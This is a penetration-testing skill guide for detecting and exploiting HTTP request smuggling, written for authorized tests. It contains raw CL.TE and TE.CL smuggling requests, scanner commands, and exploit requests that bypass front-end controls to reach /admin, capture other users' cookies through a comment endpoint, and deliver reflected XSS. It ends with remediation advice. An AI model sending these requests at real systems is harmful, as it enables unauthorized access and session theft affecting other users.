--- name: exploiting-http-request-smuggling description: Detecting and exploiting HTTP request smuggling vulnerabilities caused by Content-Length and Transfer-Encoding parsing discrepancies between front-end and back-end servers. domain: cybersecurity subdomain: web-application-security tags: - penetration-testing - request-smuggling - http-desync - web-security - burpsuite - owasp version: '1.0' author: mahipal license: Apache-2.0 nist_csf: - PR.PS-01 - ID.RA-01 - PR.DS-10 - DE.CM-01 --- # Exploiting HTTP Request Smuggling ## When to Use - During authorized penetration tests when the application sits behind a reverse proxy, load balancer, or CDN - When testing infrastructure with multiple HTTP processors in the request chain (nginx + Apache, HAProxy + Gunicorn) - For assessing applications for HTTP desynchronization vulnerabilities - When other attack vectors are limited and you need to bypass front-end security controls - During security assessments of multi-tier web architectures ## Prerequisites - **Authorization**: Written penetration testing agreement explicitly covering request smuggling (high-risk test) - **Burp Suite Professional**: With HTTP Request Smuggler extension (Turbo Intruder) - **smuggler.py**: Automated HTTP request smuggling detection tool - **curl**: Compiled with HTTP/1.1 support and manual chunked encoding - **Target architecture knowledge**: Understanding of proxy/server chain (front-end and back-end) - **Caution**: Request smuggling can affect other users' requests; test carefully ## Workflow ### Step 1: Identify the HTTP Architecture Determine the proxy/server chain and HTTP parsing characteristics. ```bash # Identify front-end proxy/CDN curl -s -I "https://target.example.com/" | grep -iE \ "(server|via|x-served-by|x-cache|cf-ray|x-amz|x-varnish)" # Common architectures: # Cloudflare → Nginx → Application # AWS ALB → Apache → Application # HAProxy → Gunicorn → Python app # Nginx → Node.js/Express # Akamai → IIS → .NET app # Check HTTP version support curl -s -I --http1.1 "https://target.example.com/" | head -1 curl -s -I --http2 "https://target.example.com/" | head -1 # Check if Transfer-Encoding is supported curl -s -X POST \ -H "Transfer-Encoding: chunked" \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "0\r\n\r\n" \ "https://target.example.com/" -w "%{http_code}" # Check for HTTP/2 downgrade to HTTP/1.1 on backend # Many CDNs accept HTTP/2 but forward HTTP/1.1 to origin ``` ### Step 2: Test for CL.TE Smuggling The front-end uses Content-Length, the back-end uses Transfer-Encoding. ``` # In Burp Suite Repeater, disable "Update Content-Length" option # Send the following request manually: POST / HTTP/1.1 Host: target.example.com Content-Length: 13 Transfer-Encoding: chunked 0 SMUGGLED # If vulnerable (CL.TE): # Front-end reads 13 bytes (Content-Length), forwards entire request # Back-end reads chunked: "0\r\n\r\n" = end of body # "SMUGGLED" becomes the start of the next request # Detection technique: Time-based # If back-end reads chunked and sees incomplete chunk, it waits: POST / HTTP/1.1 Host: target.example.com Content-Length: 4 Transfer-Encoding: chunked 1 A X # If response is delayed (~5-10 seconds), CL.TE is likely ``` ### Step 3: Test for TE.CL Smuggling The front-end uses Transfer-Encoding, the back-end uses Content-Length. ``` # Burp Repeater - disable "Update Content-Length" POST / HTTP/1.1 Host: target.example.com Content-Length: 3 Transfer-Encoding: chunked 8 SMUGGLED 0 # If vulnerable (TE.CL): # Front-end reads chunked: chunk "SMUGGLED" + final "0" # Back-end reads 3 bytes of Content-Length: "8\r\n" # Remaining "SMUGGLED\r\n0\r\n\r\n" becomes next request prefix # Detection via differential response: POST / HTTP/1.1 Host: target.example.com Content-Length: 6 Transfer-Encoding: chunked 0 X # Front-end (TE): reads "0\r\n\r\n", sees end # Back-end (CL): reads 6 bytes "0\r\nX\r\n" # Next request gets "X" prepended, causing 400/405 errors ``` ### Step 4: Use Automated Detection Tools Run automated scanners to detect smuggling variants. ```bash # Using smuggler.py git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -u "https://target.example.com/" -m GET POST # Using Burp HTTP Request Smuggler extension # 1. Install from BApp Store: "HTTP Request Smuggler" # 2. Right-click target in Site Map > Extensions > HTTP Request Smuggler > Smuggle probe # 3. Check Scanner > Issue Activity for results # Using h2csmuggler for HTTP/2 smuggling # git clone https://github.com/BishopFox/h2cSmuggler.git python3 h2csmuggler.py -x "https://target.example.com/" \ "https://target.example.com/admin" # Manual detection with Turbo Intruder # Send paired requests with different timing # First request: smuggling prefix # Second request: normal request that gets affected ``` ### Step 5: Exploit Request Smuggling for Impact Leverage confirmed smuggling for practical attacks. ``` # Attack 1: Bypass front-end access controls # Access /admin which is blocked by the front-end proxy # CL.TE exploit: POST / HTTP/1.1 Host: target.example.com Content-Length: 56 Transfer-Encoding: chunked 0 GET /admin HTTP/1.1 Host: target.example.com Foo: x # The smuggled "GET /admin" request bypasses front-end restrictions # because it's processed by the back-end directly # Attack 2: Capture other users' requests # Smuggle a request that stores the next user's request in a visible location POST / HTTP/1.1 Host: target.example.com Content-Length: 130 Transfer-Encoding: chunked 0 POST /api/comments HTTP/1.1 Host: target.example.com Content-Type: application/x-www-form-urlencoded Content-Length: 400 body= # The next legitimate user's request gets appended to "body=" # and stored as a comment, exposing their cookies and headers # Attack 3: Reflected XSS escalation # Smuggle a request that will reflect XSS in the next response POST / HTTP/1.1 Host: target.example.com Content-Length: 150 Transfer-Encoding: chunked 0 GET /search?q= HTTP/1.1 Host: target.example.com Content-Length: 10 Foo: x # Next user receives the XSS response instead of their expected response ``` ### Step 6: Test HTTP/2 Request Smuggling Assess HTTP/2 specific smuggling vectors. ``` # HTTP/2 smuggling via CRLF injection in headers # HTTP/2 should reject \r\n in header values, but some proxies don't # H2.CL smuggling: HTTP/2 front-end, Content-Length on back-end # Send HTTP/2 request with mismatched :path and content # Using Burp Suite with HTTP/2 support: # 1. Enable HTTP/2 in Repeater: Inspector > HTTP/2 # 2. Craft request with conflicting CL header # HTTP/2 header injection # Add: Transfer-Encoding: chunked via HTTP/2 pseudo-header # Some front-ends strip TE from HTTP/1.1 but not from HTTP/2 # Test HTTP/2 request tunneling # If front-end reuses HTTP/2 connections for multiple users: # Poison the connection to affect subsequent requests # H2.TE smuggling via HTTP/2 CONNECT # Use CONNECT method in HTTP/2 to establish tunnels # that bypass front-end security controls ``` ## Key Concepts | Concept | Description | |---------|-------------| | **CL.TE Smuggling** | Front-end uses Content-Length, back-end uses Transfer-Encoding | | **TE.CL Smuggling** | Front-end uses Transfer-Encoding, back-end uses Content-Length | | **TE.TE Smuggling** | Both use Transfer-Encoding but parse obfuscated TE headers differently | | **HTTP Desync** | State where front-end and back-end disagree on request boundaries | | **Request Splitting** | One HTTP request is interpreted as two separate requests | | **Connection Poisoning** | Smuggled data affects the next request on the same TCP connection | | **H2.CL Smuggling** | HTTP/2 to HTTP/1.1 downgrade with Content-Length discrepancy | ## Tools & Systems | Tool | Purpose | |------|---------| | **Burp Suite Professional** | Manual request crafting with disabled auto Content-Length | | **HTTP Request Smuggler (Burp)** | Automated smuggling detection extension by James Kettle | | **smuggler.py** | Python-based automated HTTP request smuggling scanner | | **h2cSmuggler** | HTTP/2 cleartext smuggling tool from Bishop Fox | | **Turbo Intruder** | High-speed request engine for time-sensitive smuggling tests | | **curl** | Manual HTTP request crafting with precise byte control | ## Common Scenarios ### Scenario 1: Admin Panel Access Bypass The front-end proxy blocks `/admin` requests. A CL.TE smuggling attack prepends `GET /admin` to the back-end's request queue, causing the back-end to process the admin request without the front-end's access control check. ### Scenario 2: Cookie Theft via Request Capture A TE.CL smuggling attack injects a partial POST request to a comment endpoint. The next user's request (including cookies and authorization headers) is appended to the comment body and stored in the database. ### Scenario 3: Cache Poisoning via Smuggling A smuggled request causes the cache to store a response from a different URL. Combined with cache poisoning, the attacker serves malicious content to all users requesting the legitimate URL. ### Scenario 4: HTTP/2 Desync on CDN The CDN accepts HTTP/2 and downgrades to HTTP/1.1 for the origin. A header injection via HTTP/2 creates a desync, allowing the attacker to smuggle requests that bypass the CDN's WAF rules. ## Output Format ``` ## HTTP Request Smuggling Finding **Vulnerability**: CL.TE HTTP Request Smuggling **Severity**: Critical (CVSS 9.1) **Location**: Front-end (Cloudflare) → Back-end (Nginx + Gunicorn) **OWASP Category**: A05:2021 - Security Misconfiguration ### Architecture Front-end: Cloudflare (Content-Length priority) Back-end: Gunicorn (Transfer-Encoding priority) Protocol: HTTP/1.1 between proxy and origin ### Reproduction Steps 1. Send POST request with both Content-Length and Transfer-Encoding headers 2. Content-Length set to include smuggled request prefix 3. Transfer-Encoding: chunked with "0\r\n\r\n" ending body 4. Smuggled data becomes prefix of next back-end request ### Confirmed Exploits | Exploit | Impact | |---------|--------| | Admin bypass | Accessed /admin without authentication | | Request capture | Stole session cookies from other users | | XSS escalation | Delivered reflected XSS to arbitrary users | | Cache poisoning | Poisoned CDN cache with malicious response | ### Recommendation 1. Ensure front-end and back-end use the same HTTP parsing behavior 2. Reject ambiguous requests with both Content-Length and Transfer-Encoding 3. Upgrade to HTTP/2 end-to-end (no protocol downgrade) 4. Use HTTP/2 between proxy and origin server 5. Normalize requests at the front-end before forwarding ```